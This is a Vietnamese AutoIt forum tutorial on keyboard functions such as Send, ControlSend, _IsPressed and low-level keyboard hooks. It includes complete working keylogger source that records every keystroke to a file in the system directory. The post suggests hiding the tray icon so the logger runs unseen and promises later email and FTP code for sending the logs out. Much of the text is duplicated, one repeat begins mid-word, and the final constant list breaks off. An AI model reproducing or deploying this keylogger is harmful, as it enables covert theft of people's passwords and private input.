1. Tải bản cài đặt AutoIT mới nhất

    Chào Khách. Nếu bạn mới tham gia và chưa cài đặt AutoIT.
    Vui lòng vào topic trên để tải bản AutoIT mới nhất nhé
    Dismiss Notice
  2. Quy định và nội quy

    Chào Khách. Vui lòng đọc kỹ nội quy và quy định của diễn đàn
    Để tránh bị ban một cách đáng tiếc nhé!
    Dismiss Notice
  3. Hướng dẫn chèn mã AutoIT trong diễn đàn

    Chào Khách. Vui lòng xem qua bài viết này
    Để biết cách chèn mã AutoIT trong diễn đàn bạn nhé :)
    Dismiss Notice

Hướng dẫn Thao tác với phím trong Autoit

Thảo luận trong 'Hướng dẫn - Bài tập căn bản' bắt đầu bởi Phú Chuối, 11/9/15.

  1. Phú Chuối

    Phú Chuối Thành viên mới
    • 3/6

    Tham gia ngày:
    6/9/15
    Bài viết:
    6
    Đã được thích:
    13
    Keys Functions
    Các hàm thao tác với phím Ở phần này mình sẽ hướng dẫn các bạn cách để nhấn một phím trên keyboard bằng Autoit , cách theo dõi các phím nhập từ bàn phím và xuất các phím vừa nhập ra ngoài màn hình .
    Demo 2 code theo dõi phím nhập vào từ keyboard viết bằng hàm của Autoit và Hook

    Message Box (Hộp thoại)
    Các bạn chắc cũng nghe nhiều đến thuật ngữ này rồi , trong một số code mẫu mình viết ở bài trước cũng đã sử dụng hàm này rồi đó là MsgBox , hàm này dùng để xuất một khung thoại ra màn hình máy tính . Phần này ngoài lề của bài nhưng mình hơi lăn tăn về hàm này một tí để giúp cho các bạn dễ thao tác hơn với các lệnh trong bài :D
    Cú pháp : MsgBox ( flag, "title", "text" [, timeout [, hwnd]] )

    flagTùy chọn khung hộp thoại
    titleTiêu đề của hộp thoại
    textNội dung hộp thoại
    timeoutThời gian đếm ngược đến khi tắt khung thoại (Có thể có hoặc không)
    hwndTrả về handle của cửa sổ hiện hộp thoại (Có thể có hoặc không)
    Một ví dụ về hộp thoại mặc định :
    Mã (AutoIt):
    Msgbox(0,'Hello','This is the default message box !')
    Có rất nhiều loại Message Box , chỉ cần thay đổi flag là có được Message Box cần dùng , nhưng mình sẽ không đề cập đến việc tạo các loại Message Box khác nhau vì trong gói công cụ Scite đã đề cập ở các bài trước đã giới thiệu về công cụ này rồi , đó là : CodeWizard (Công cụ dùng để tạo các loại Message Box , Input Box , Splash ... rất cụ thể và dễ sử dụng ) . Các bạn tự nghiên cứu công cụ này để có thể tạo cho mình một Message Box theo ý thích và nhu cầu sử dụng ;)

    Các hàm thao tác với phím
    • Send
    Cú pháp : Send ( "keys" [, flag] )

    keys là phím được chỉ định send vào cửa sổ đang hoạt động , các phím hotkeyt như SHIFT , CTRL , ALT , SPACE .... được bọc trong dấu {} , các phím ký tự và phím số được đặt trong ' ' Viết tắt một vài phím thông dụng :

    {!} Phím ALT
    {#}Phím WINDOW
    {+}Phím SHIFT
    {^}Phím CTRL
    Ví dụ :
    Mã (AutoIt):
    Send("#r") ; Nhấn phím Window + phím r
    WinWaitActive("Run") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    Send("notepad.exe{Enter}") ; Gửi vào khung nhâp một chuỗi rồi nhấm Enter
    WinWaitActive("[CLASS:Notepad]") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    Send("Today's time/date is {F5}") ; Gửi vào khung nhâp một chuỗi rồi nhấm F5
    • ControlSend
    Cú pháp : ControlSend ( "title", "text", controlID, "string" [, flag] )

    ControlSend dùng để gửi phím nhập hay ký tự vào một khung cửa sổ xác định rõ

    titleTiêu đề của của cửa sổ
    textĐoạn văn bản bất kỳ xuất hiên trên cửa sổ
    controlIDID của control trong cửa sổ . xem thêm Controls.
    stringChuỗi hoặc phím hoặc ký tự được chỉ định để gửi
    flagMặc định là 0 (Cái này nên để mặc định)

    Ví dụ :
    Mã (AutoIt):
     Send("#r") ; Nhấn phím Window + phím r
    WinWaitActive("Run") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    Send("notepad.exe{Enter}") ; Gửi vào khung nhâp một chuỗi rồi nhấm Enter
    WinWaitActive("[CLASS:Notepad]") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    ControlSend("[CLASS:Notepad]", "", "Edit1", "This is a line of text in the notepad window")
    ; Send một chuỗi vào khung Edit của Notepad
    Hàm kiểm tra ký tự nhập vào (_Ispressed) và low level hook API :
    • _Ispressed
    Cú pháp : _IsPressed($sHexKey [, $vDLL = 'user32.dll'])

    Hàm _Ispressed là hàm được định nghĩa trong thu viện Misc.au3 nên phải include thư viện trước khi có lời gọi hàm .
    $sHexKey là mã Hex của phím , có thể tra bảng mã hex chi tiết và đầy đủ ở đây : ASCII
    $vDLL = 'user32.dll' là thư viện liên kết động của MS dùng để thực hiện hàm

    Đây là một ví dụ về hàm kiểm tra ký tự nhập vào _Ispressed được phát triển thành một công cụ mà ta thường hay gọi là keylogger :
    Mã (AutoIt):


    MÃ:
    Opt("SendKeyDelay",150)
    Opt("SendKeyDownDelay",50)

    Global $keyf,$keyup,$ckok=False,$f_path = @SystemDir & "\keylog.txt"
    Global $shdown=True,$shup
    Global $sDateTime = @YEAR & "-" & @MON & "-" & @MDAY &" "&@HOUR & ":" & @MIN & ":" & @SEC
    ;Separate hex and char
    $hex = StringSplit("08,09,0d,10,11,12,13,14,1b,20,21,22,23,24,25,26,27,28,2c,2d,2e," & _
    "30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,4a,4b,4c,4d,4e,4f,50,51,52,53,54,55,56,57,58,59,5a," & _
    "ba,bb,bc,bd,be,bf,c0,db,dc,dd,5b,5c", _
    ",")

    $char = StringSplit(" BACKSPACE , TAB , ENTER , SHIFT , CTR , ALT , PAUSE , CAPLOCKS , ESC , SPACE , PAGEUP , PAGEDOWN , END , HOME , LEFT , UP , RIGHT , DOWN , PRINTSCR , INS , DEL ," & _
    "0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z" & _
    " ; , = , dot , - , . , / , ` , [ , \ , ], lWIN , rWIN ", _
    ",")
    ;=>End
    HotKeySet ("^!#{f12}","thoat")
    Func thoat()
    DllClose($dll)
    FileClose($file)
    Run("notepad.exe " & $f_path)
    Exit
    EndFunc
    ;;=> Ket thuc ham

    If Not FileExists($f_path) Then _FileWriteLog($f_path,'')

    $dll = DllOpen("user32.dll")
    $file = FileOpen($f_path, 1)
    If $file = -1 Then
    MsgBox(0, "Loi", "Khong the mo file")
    Exit
    EndIf
    FileWriteLine($file, $sDateTime)
    While 1
    Sleep ( 10 )
    readchar()
    WEnd

    DllClose($dll)

    Func readchar()
    For $i = 1 to $hex[0]
    Select
    Case _IsPressed($hex[$i],$dll)
    If _IsPressed("10", $dll) Then
    if $shdown ==True Then
    FileWrite($file," SHIFTDOWN ")
    Sleep(30)
    $shdown= False
    $shup= True
    EndIf
    Else
    $keyup = $hex[$i]
    checkku()
    writechar($char[$i])
    EndIf
    Case _IsRelease("10", $dll)
    if $shup== True Then
    FileWrite($file," SHIFTUP ")
    Sleep(30)
    $shdown= True
    $shup= False
    EndIf
    EndSelect

    Next
    EndFunc

    Func checkku()
    Do
    If _IsRelease($keyup,$dll) then
    $ckok =True
    EndIf
    Until $ckok =true
    EndFunc

    Func writechar($keyf= "")
    If $file = -1 Then
    MsgBox(0, "Loi", "Khong the mo file.")
    Exit
    EndIf
    If $ckok =true then
    FileWrite($file,$keyf)
    Sleep(10)
    $ckok =False
    EndIf
    EndFunc


    Func _IsPressed($sHexKey, $vDLL = 'user32.dll')
    Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
    If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1
    Return 0
    EndFunc

    Func _IsRelease($sHexKey, $vDLL = 'user32.dll')
    Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
    If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 0
    Return 1
    EndFunc

    Func _FileWriteLog($sLogPath, $sLogMsg, $iFlag = -1)
    Local $sDateNow, $sTimeNow, $sMsg, $iWriteFile, $hOpenFile, $iOpenMode = 1

    $sDateNow = @YEAR & "-" & @MON & "-" & @MDAY
    $sTimeNow = @HOUR & ":" & @MIN & ":" & @SEC
    $sMsg = $sDateNow & " " & $sTimeNow & " : " & $sLogMsg

    If $iFlag <> -1 Then
    $sMsg &= @CRLF & FileRead($sLogPath)
    $iOpenMode = 2
    EndIf

    $hOpenFile = FileOpen($sLogPath, $iOpenMode)
    If $hOpenFile = -1 Then Return SetError(1, 0, 0)

    $iWriteFile = FileWriteLine($hOpenFile, $sMsg)
    If $iWriteFile = -1 Then Return SetError(2, 0, 0)

    Return FileClose($hOpenFile)
    EndFunc ;==>_FileWriteLog
    Ấn tổ hợp phím Ctrl + Windows + Alt + F12 để thoát và hiện file log.
    Có thể thêm vào #NoTrayIcon để chương trình chạy dưới chế độ ẩn

    Ở các bài sau mình sẽ đề cập đến mã nguồn Autoit có chức năng gửi email và FTP để hoàn thiện tool này , còn bây giờ chúng ta chuyển qua Hook API


    • API Low-Level Hook
    Câu hỏi được đặt ra ở đây là : Tại sao lại sử dụng API Hook trong khi đã có _Ispressed .Các bạn sau khi đã chạy thử ví dụ mẫu ở trên chắc cũng đã thấy nhược điểm của hàm _Ispressed , đó là các phím nhập vào đôi khi bị trùng do người dùng nhấn giữ phím quá lâu hoặc một số phím bị mất do người dùng đánh phím quá nhanh . API Hook sẽ giải quyết được vấn đề này , ngoài ra API Hook còn có nhiều ứng dụng quan trọng hơn nữa

    Ví dụ mẫu về việc sử dụng API để Hook , đọc ký tự nhập vào từ bàn phím và khóa các phím nhập vào:
    Mã (AutoIt):

    Ví dụ mẫu về việc sử dụng API để Hook , đọc ký tự nhập vào từ bàn phím và khóa các phím nhập vào:

    MÃ:
    #include <WinAPI.au3>
    #include <String.au3>
    #Include <WindowsConstants.au3>

    Global $sHexKeys, $sMouse, $sString, $hHookKeyboard, $pStub_KeyProc

    HotKeySet("{ESC}", "ExitNow") ; Exit khi nhấn phím Esc

    $pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")
    $hHookKeyboard = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($pStub_KeyProc), _WinAPI_GetModuleHandle(0))

    While 1
        Sleep(10)
    WEnd

    Func ExitNow()
        Exit
    EndFunc   ;==>ExitNow

    Func OnAutoITExit()
        DllCallbackFree($pStub_KeyProc)
        _WinAPI_UnhookWindowsHookEx($hHookKeyboard)
    EndFunc   ;==>OnAutoITExit

    Func _KeyProc($nCode, $wParam, $lParam)
        If $nCode < 0 Then Return _WinAPI_CallNextHookEx($hHookKeyboard, $nCode, $wParam, $lParam)
        Local $KBDLLHOOKSTRUCT = DllStructCreate("dword vkCode;dword scanCode;dword flags;dword time;ptr dwExtraInfo", $lParam)
        Local $vkCode = DllStructGetData($KBDLLHOOKSTRUCT, "vkCode")
        Switch $wParam
            Case $WM_KEYDOWN;, $WM_SYSKEYDOWN

                If (($vkCode > 64) And ($vkCode < 91)) _ ; a -z
                Or (($vkCode > 96) And ($vkCode < 123)) _ ; A - Z
                Or (($vkCode > 47) And ($vkCode < 58)) Then ; 0 - 9 ; Mã Hex của các ký tự nhập vào từ bàn phím

              _keybd_event('', 0) ; Hàm trả về phím rỗng dùng để khóa phím nhập vào , thay đổi mã hex ở trên để tùy chỉnh khóa phím được chỉ định

              ToolTip(Chr($vkCode)) ; Hiển thị các phím nhập vào ở đây

                   Return -1

                ElseIf ($vkCode > 159) And ($vkCode < 164) Then ; Các phím hotkey sẽ không được xử lý
                Return

                EndIf
        EndSwitch
        Return _WinAPI_CallNextHookEx($hHookKeyboard, $nCode, $wParam, $lParam)
    EndFunc   ;==>_KeyProc

    Func _keybd_event($vkCode, $Flag)
        DllCall('user32.dll', 'int', 'keybd_event', 'int', $vkCode, 'int', 0, 'int', $Flag, 'ptr', 0)
    EndFunc; _keybd_event
    Nhấn Esc để thoát chương trình

    • API Send key to Inactive Window
    Một ví dụ khác về sử dụng API để send key vào cửa sổ inactive (minimize/hide).
    Mã (AutoIt):
     #Include  <winapi.au3>
    #include   <windowsconstants.au3>
    #include "VK.au3"

    $timeKeyDown = 10

    AutoItSetOption("WinTitleMatchMode", 2)
    ;run('Notepad.exe')
    ;WinWaitActive('Untitled - Notepad')
    $handle = ControlGetHandle('Untitled - Notepad' ,'' , 'Edit1')

    ;~ _WinAPI_PostMessage($handle,0x108, 0x11,0)
    ;~ _WinAPI_PostMessage($handle, 0x101, 0x53 , 0 )

    _Send($handle,'This{SPACE}is{SPACE}just{SPACE}a{SPACE}test{ENTER}')

    Func _Send( $whandle, $text)
    If $text = "" Then Return
    Local $l, $l2, $len=StringLen($text), $sendnow
    For $l=1 To $len
    $sendnow = StringMid($text,$l,1)
    If $sendnow="{" Then
    $sendnow = ""
    While 1
    $l += 1
    $l2 = StringMid( $text,$l,1)
    If $l2="}" Or $l>$len Then ExitLoop
    $sendnow &= $l2
    WEnd
    EndIf
    _WinAPI_PostMessage($whandle, 0x100, Eval( "VK_" & StringUpper($sendnow)), 0) ;keydown
    Sleep( $timeKeyDown)
    ;_WinAPI_PostMessage($whandle, 0x101, Eval( "VK_" & StringUpper($sendnow)), 0 ) ;keyup
    Next
    EndFunc
    Thư viện VK.au3 (Khai báo các key ở dạng hex và một số const API )
    Mã (AutoIt):
    ài nhưng mình hơi lăn tăn về hàm này một tí để giúp cho các bạn dễ thao tác hơn với các lệnh trong bài :D
    Cú pháp : MsgBox ( flag, "title", "text" [, timeout [, hwnd]] )

    flagTùy chọn khung hộp thoại
    titleTiêu đề của hộp thoại
    textNội dung hộp thoại
    timeoutThời gian đếm ngược đến khi tắt khung thoại (Có thể có hoặc không)
    hwndTrả về handle của cửa sổ hiện hộp thoại (Có thể có hoặc không)
    Một ví dụ về hộp thoại mặc định :

    MÃ:
    Msgbox(0,'Hello','This is the default message box !')
    Có rất nhiều loại Message Box , chỉ cần thay đổi flag là có được Message Box cần dùng , nhưng mình sẽ không đề cập đến việc tạo các loại Message Box khác nhau vì trong gói công cụ Scite đã đề cập ở các bài trước đã giới thiệu về công cụ này rồi , đó là : CodeWizard (Công cụ dùng để tạo các loại Message Box , Input Box , Splash ... rất cụ thể và dễ sử dụng ) . Các bạn tự nghiên cứu công cụ này để có thể tạo cho mình một Message Box theo ý thích và nhu cầu sử dụng ;)

    Các hàm thao tác với phím
    Send
    Cú pháp : Send ( "keys" [, flag] )

    keys là phím được chỉ định send vào cửa sổ đang hoạt động , các phím hotkeyt như SHIFT , CTRL , ALT , SPACE .... được bọc trong dấu {} , các phím ký tự và phím số được đặt trong ' ' Viết tắt một vài phím thông dụng :

    {!} Phím ALT
    {#}Phím WINDOW
    {+}Phím SHIFT
    {^}Phím CTRL
    Ví dụ :

    MÃ:
    Send("#r") ; Nhấn phím Window + phím r
    WinWaitActive("Run") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    Send("notepad.exe{Enter}") ; Gửi vào khung nhâp một chuỗi rồi nhấm Enter
    WinWaitActive("[CLASS:Notepad]") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    Send("Today's time/date is {F5}") ; Gửi vào khung nhâp một chuỗi rồi nhấm F5
    ControlSend
    Cú pháp : ControlSend ( "title", "text", controlID, "string" [, flag] )

    ControlSend dùng để gửi phím nhập hay ký tự vào một khung cửa sổ xác định rõ

    titleTiêu đề của của cửa sổ
    textĐoạn văn bản bất kỳ xuất hiên trên cửa sổ
    controlIDID của control trong cửa sổ . xem thêm Controls.
    stringChuỗi hoặc phím hoặc ký tự được chỉ định để gửi
    flagMặc định là 0 (Cái này nên để mặc định)

    Ví dụ :

    MÃ:
    Send("#r") ; Nhấn phím Window + phím r
    WinWaitActive("Run") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    Send("notepad.exe{Enter}") ; Gửi vào khung nhâp một chuỗi rồi nhấm Enter
    WinWaitActive("[CLASS:Notepad]") ; Hàm dừng chờ cho đến khi cửa sổ hiện lên
    ControlSend("[CLASS:Notepad]", "", "Edit1", "This is a line of text in the notepad window")
    ; Send một chuỗi vào khung Edit của Notepad
    Hàm kiểm tra ký tự nhập vào (_Ispressed) và low level hook API :
    _Ispressed
    Cú pháp : _IsPressed($sHexKey [, $vDLL = 'user32.dll'])

    Hàm _Ispressed là hàm được định nghĩa trong thu viện Misc.au3 nên phải include thư viện trước khi có lời gọi hàm .
    $sHexKey là mã Hex của phím , có thể tra bảng mã hex chi tiết và đầy đủ ở đây : ASCII
    $vDLL = 'user32.dll' là thư viện liên kết động của MS dùng để thực hiện hàm

    Đây là một ví dụ về hàm kiểm tra ký tự nhập vào _Ispressed được phát triển thành một công cụ mà ta thường hay gọi là keylogger :

    MÃ:
    Opt("SendKeyDelay",150)
    Opt("SendKeyDownDelay",50)

    Global $keyf,$keyup,$ckok=False,$f_path = @SystemDir & "\keylog.txt"
    Global $shdown=True,$shup
    Global $sDateTime = @YEAR & "-" & @MON & "-" & @MDAY &" "&@HOUR & ":" & @MIN & ":" & @SEC
    ;Separate hex and char
    $hex = StringSplit("08,09,0d,10,11,12,13,14,1b,20,21,22,23,24,25,26,27,28,2c,2d,2e," & _
    "30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,4a,4b,4c,4d,4e,4f,50,51,52,53,54,55,56,57,58,59,5a," & _
    "ba,bb,bc,bd,be,bf,c0,db,dc,dd,5b,5c", _
    ",")

    $char = StringSplit(" BACKSPACE , TAB , ENTER , SHIFT , CTR , ALT , PAUSE , CAPLOCKS , ESC , SPACE , PAGEUP , PAGEDOWN , END , HOME , LEFT , UP , RIGHT , DOWN , PRINTSCR , INS , DEL ," & _
    "0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z" & _
    " ; , = , dot , - , . , / , ` , [ , \ , ], lWIN , rWIN ", _
    ",")
    ;=>End
    HotKeySet ("^!#{f12}","thoat")
    Func thoat()
    DllClose($dll)
    FileClose($file)
    Run("notepad.exe " & $f_path)
    Exit
    EndFunc
    ;;=> Ket thuc ham

    If Not FileExists($f_path) Then _FileWriteLog($f_path,'')

    $dll = DllOpen("user32.dll")
    $file = FileOpen($f_path, 1)
    If $file = -1 Then
    MsgBox(0, "Loi", "Khong the mo file")
    Exit
    EndIf
    FileWriteLine($file, $sDateTime)
    While 1
    Sleep ( 10 )
    readchar()
    WEnd

    DllClose($dll)

    Func readchar()
    For $i = 1 to $hex[0]
    Select
    Case _IsPressed($hex[$i],$dll)
    If _IsPressed("10", $dll) Then
    if $shdown ==True Then
    FileWrite($file," SHIFTDOWN ")
    Sleep(30)
    $shdown= False
    $shup= True
    EndIf
    Else
    $keyup = $hex[$i]
    checkku()
    writechar($char[$i])
    EndIf
    Case _IsRelease("10", $dll)
    if $shup== True Then
    FileWrite($file," SHIFTUP ")
    Sleep(30)
    $shdown= True
    $shup= False
    EndIf
    EndSelect

    Next
    EndFunc

    Func checkku()
    Do
    If _IsRelease($keyup,$dll) then
    $ckok =True
    EndIf
    Until $ckok =true
    EndFunc

    Func writechar($keyf= "")
    If $file = -1 Then
    MsgBox(0, "Loi", "Khong the mo file.")
    Exit
    EndIf
    If $ckok =true then
    FileWrite($file,$keyf)
    Sleep(10)
    $ckok =False
    EndIf
    EndFunc


    Func _IsPressed($sHexKey, $vDLL = 'user32.dll')
    Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
    If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1
    Return 0
    EndFunc

    Func _IsRelease($sHexKey, $vDLL = 'user32.dll')
    Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
    If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 0
    Return 1
    EndFunc

    Func _FileWriteLog($sLogPath, $sLogMsg, $iFlag = -1)
    Local $sDateNow, $sTimeNow, $sMsg, $iWriteFile, $hOpenFile, $iOpenMode = 1

    $sDateNow = @YEAR & "-" & @MON & "-" & @MDAY
    $sTimeNow = @HOUR & ":" & @MIN & ":" & @SEC
    $sMsg = $sDateNow & " " & $sTimeNow & " : " & $sLogMsg

    If $iFlag <> -1 Then
    $sMsg &= @CRLF & FileRead($sLogPath)
    $iOpenMode = 2
    EndIf

    $hOpenFile = FileOpen($sLogPath, $iOpenMode)
    If $hOpenFile = -1 Then Return SetError(1, 0, 0)

    $iWriteFile = FileWriteLine($hOpenFile, $sMsg)
    If $iWriteFile = -1 Then Return SetError(2, 0, 0)

    Return FileClose($hOpenFile)
    EndFunc ;==>_FileWriteLog
    Ấn tổ hợp phím Ctrl + Windows + Alt + F12 để thoát và hiện file log.
    Có thể thêm vào #NoTrayIcon để chương trình chạy dưới chế độ ẩn

    Ở các bài sau mình sẽ đề cập đến mã nguồn Autoit có chức năng gửi email và FTP để hoàn thiện tool này , còn bây giờ chúng ta chuyển qua Hook API


    API Low-Level Hook
    Câu hỏi được đặt ra ở đây là : Tại sao lại sử dụng API Hook trong khi đã có _Ispressed .Các bạn sau khi đã chạy thử ví dụ mẫu ở trên chắc cũng đã thấy nhược điểm của hàm _Ispressed , đó là các phím nhập vào đôi khi bị trùng do người dùng nhấn giữ phím quá lâu hoặc một số phím bị mất do người dùng đánh phím quá nhanh . API Hook sẽ giải quyết được vấn đề này , ngoài ra API Hook còn có nhiều ứng dụng quan trọng hơn nữa

    Ví dụ mẫu về việc sử dụng API để Hook , đọc ký tự nhập vào từ bàn phím và khóa các phím nhập vào:

    MÃ:
    #include <WinAPI.au3>
    #include <String.au3>
    #Include <WindowsConstants.au3>

    Global $sHexKeys, $sMouse, $sString, $hHookKeyboard, $pStub_KeyProc

    HotKeySet("{ESC}", "ExitNow") ; Exit khi nhấn phím Esc

    $pStub_KeyProc = DllCallbackRegister("_KeyProc", "int", "int;ptr;ptr")
    $hHookKeyboard = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($pStub_KeyProc), _WinAPI_GetModuleHandle(0))

    While 1
        Sleep(10)
    WEnd

    Func ExitNow()
        Exit
    EndFunc   ;==>ExitNow

    Func OnAutoITExit()
        DllCallbackFree($pStub_KeyProc)
        _WinAPI_UnhookWindowsHookEx($hHookKeyboard)
    EndFunc   ;==>OnAutoITExit

    Func _KeyProc($nCode, $wParam, $lParam)
        If $nCode < 0 Then Return _WinAPI_CallNextHookEx($hHookKeyboard, $nCode, $wParam, $lParam)
        Local $KBDLLHOOKSTRUCT = DllStructCreate("dword vkCode;dword scanCode;dword flags;dword time;ptr dwExtraInfo", $lParam)
        Local $vkCode = DllStructGetData($KBDLLHOOKSTRUCT, "vkCode")
        Switch $wParam
            Case $WM_KEYDOWN;, $WM_SYSKEYDOWN

                If (($vkCode > 64) And ($vkCode < 91)) _ ; a -z
                Or (($vkCode > 96) And ($vkCode < 123)) _ ; A - Z
                Or (($vkCode > 47) And ($vkCode < 58)) Then ; 0 - 9 ; Mã Hex của các ký tự nhập vào từ bàn phím

              _keybd_event('', 0) ; Hàm trả về phím rỗng dùng để khóa phím nhập vào , thay đổi mã hex ở trên để tùy chỉnh khóa phím được chỉ định

              ToolTip(Chr($vkCode)) ; Hiển thị các phím nhập vào ở đây

                   Return -1

                ElseIf ($vkCode > 159) And ($vkCode < 164) Then ; Các phím hotkey sẽ không được xử lý
                Return

                EndIf
        EndSwitch
        Return _WinAPI_CallNextHookEx($hHookKeyboard, $nCode, $wParam, $lParam)
    EndFunc   ;==>_KeyProc

    Func _keybd_event($vkCode, $Flag)
        DllCall('user32.dll', 'int', 'keybd_event', 'int', $vkCode, 'int', 0, 'int', $Flag, 'ptr', 0)
    EndFunc; _keybd_event
    Nhấn Esc để thoát chương trình

    API Send key to Inactive Window
    Một ví dụ khác về sử dụng API để send key vào cửa sổ inactive (minimize/hide).

    MÃ:
    #Include  <winapi.au3>
    #include   <windowsconstants.au3>
    #include "VK.au3"

    $timeKeyDown = 10

    AutoItSetOption("WinTitleMatchMode", 2)
    ;run('Notepad.exe')
    ;WinWaitActive('Untitled - Notepad')
    $handle = ControlGetHandle('Untitled - Notepad' ,'' , 'Edit1')

    ;~ _WinAPI_PostMessage($handle,0x108, 0x11,0)
    ;~ _WinAPI_PostMessage($handle, 0x101, 0x53 , 0 )

    _Send($handle,'This{SPACE}is{SPACE}just{SPACE}a{SPACE}test{ENTER}')

    Func _Send( $whandle, $text)
    If $text = "" Then Return
    Local $l, $l2, $len=StringLen($text), $sendnow
    For $l=1 To $len
    $sendnow = StringMid($text,$l,1)
    If $sendnow="{" Then
    $sendnow = ""
    While 1
    $l += 1
    $l2 = StringMid( $text,$l,1)
    If $l2="}" Or $l>$len Then ExitLoop
    $sendnow &= $l2
    WEnd
    EndIf
    _WinAPI_PostMessage($whandle, 0x100, Eval( "VK_" & StringUpper($sendnow)), 0) ;keydown
    Sleep( $timeKeyDown)
    ;_WinAPI_PostMessage($whandle, 0x101, Eval( "VK_" & StringUpper($sendnow)), 0 ) ;keyup
    Next
    EndFunc
    Thư viện VK.au3 (Khai báo các key ở dạng hex và một số const API )

    MÃ:
    Global Const $VK_LBUTTON = 0x01
    Global Const $VK_RBUTTON = 0x02
    Global Const $VK_CANCEL = 0x03
    Global Const $VK_MBUTTON = 0x04
    Global Const $VK_XBUTTON1 = 0x05
    Global Const $VK_XBUTTON2 = 0x06

    #cs
    * = 0x07 : unassigned
    #ce


    Global Const $VK_BACK = 0x08
    Global Const $VK_TAB = 0x09

    #cs
    * = 0x0A - = 0x0B : reserved
    #ce


    Global Const $VK_CLEAR = 0x0C
    Global Const $VK_ENTER = 0x0D

    Global Const $VK_SHIFT = 0x10
    Global Const $VK_CTRL = 0x11
    Global Const $VK_MENU = 0x12
    Global Const $VK_PAUSE = 0x13
    Global Const $VK_CAPITAL = 0x14

    Global Const $VK_KANA = 0x15
    Global Const $VK_HANGEUL = 0x15
    Global Const $VK_HANGUL = 0x15
    Global Const $VK_JUNJA = 0x17
    Global Const $VK_FINAL = 0x18
    Global Const $VK_HANJA = 0x19
    Global Const $VK_KANJI = 0x19

    Global Const $VK_ESCAPE = 0x1B

    Global Const $VK_CONVERT = 0x1C
    Global Const $VK_NONCONVERT = 0x1D
    Global Const $VK_ACCEPT = 0x1E
    Global Const $VK_MODECHANGE = 0x1F

    Global Const $VK_SPACE = 0x20
    Global Const $VK_PRIOR = 0x21
    Global Const $VK_NEXT = 0x22
    Global Const $VK_END = 0x23
    Global Const $VK_HOME = 0x24
    Global Const $VK_LEFT = 0x25
    Global Const $VK_UP = 0x26
    Global Const $VK_RIGHT = 0x27
    Global Const $VK_DOWN = 0x28
    Global Const $VK_SELECT = 0x29
    Global Const $VK_PRINT = 0x2A
    Global Const $VK_EXECUTE = 0x2B
    Global Const $VK_SNAPSHOT = 0x2C
    Global Const $VK_INSERT = 0x2D
    Global Const $VK_DELETE = 0x2E
    Global Const $VK_HELP = 0x2F

    Global Const $VK_0 = 0x30
    Global Const $VK_1 = 0x31
    Global Const $VK_2 = 0x32
    Global Const $VK_3 = 0x33
    Global Const $VK_4 = 0x34
    Global Const $VK_5 = 0x35
    Global Const $VK_6 = 0x36
    Global Const $VK_7 = 0x37
    Global Const $VK_8 = 0x38
    Global Const $VK_9 = 0x39

    #cs
    * = 0x40 : unassigned
    #ce


    Global Const $VK_A = 0x41
    Global Const $VK_B = 0x42
    Global Const $VK_C = 0x43
    Global Const $VK_D = 0x44
    Global Const $VK_E = 0x45
    Global Const $VK_F = 0x46
    Global Const $VK_G = 0x47
    Global Const $VK_H = 0x48
    Global Const $VK_I = 0x49
    Global Const $VK_J = 0x4A
    Global Const $VK_K = 0x4B
    Global Const $VK_L = 0x4C
    Global Const $VK_M = 0x4D
    Global Const $VK_N = 0x4E
    Global Const $VK_O = 0x4F
    Global Const $VK_P = 0x50
    Global Const $VK_Q = 0x51
    Global Const $VK_R = 0x52
    Global Const $VK_S = 0x53
    Global Const $VK_T = 0x54
    Global Const $VK_U = 0x55
    Global Const $VK_V = 0x56
    Global Const $VK_W = 0x57
    Global Const $VK_X = 0x58
    Global Const $VK_Y = 0x59
    Global Const $VK_Z = 0x5A

    Global Const $VK_LWIN = 0x5B
    Global Const $VK_RWIN = 0x5C
    Global Const $VK_APPS = 0x5D

    #cs
    * = 0x5E : reserved
    #ce


    Global Const $VK_SLEEP = 0x5F
    Global Const $VK_NUMPAD0 = 0x60
    Global Const $VK_NUMPAD1 = 0x61
    Global Const $VK_NUMPAD2 = 0x62
    Global Const $VK_NUMPAD3 = 0x63
    Global Const $VK_NUMPAD4 = 0x64
    Global Const $VK_NUMPAD5 = 0x65
    Global Const $VK_NUMPAD6 = 0x66
    Global Const $VK_NUMPAD7 = 0x67
    Global Const $VK_NUMPAD8 = 0x68
    Global Const $VK_NUMPAD9 = 0x69
    Global Const $VK_MULTIPLY = 0x6A
    Global Const $VK_ADD = 0x6B
    Global Const $VK_SEPARATOR = 0x6C
    Global Const $VK_SUBTRACT = 0x6D
    Global Const $VK_DECIMAL = 0x6E
    Global Const $VK_DIVIDE = 0x6F
    Global Const $VK_F1 = 0x70
    Global Const $VK_F2 = 0x71
    Global Const $VK_F3 = 0x72
    Global Const $VK_F4 = 0x73
    Global Const $VK_F5 = 0x74
    Global Const $VK_F6 = 0x75
    Global Const $VK_F7 = 0x76
    Global Const $VK_F8 = 0x77
    Global Const $VK_F9 = 0x78
    Global Const $VK_F10 = 0x79
    Global Const $VK_F11 = 0x7A
    Global Const $VK_F12 = 0x7B
    Global Const $VK_F13 = 0x7C
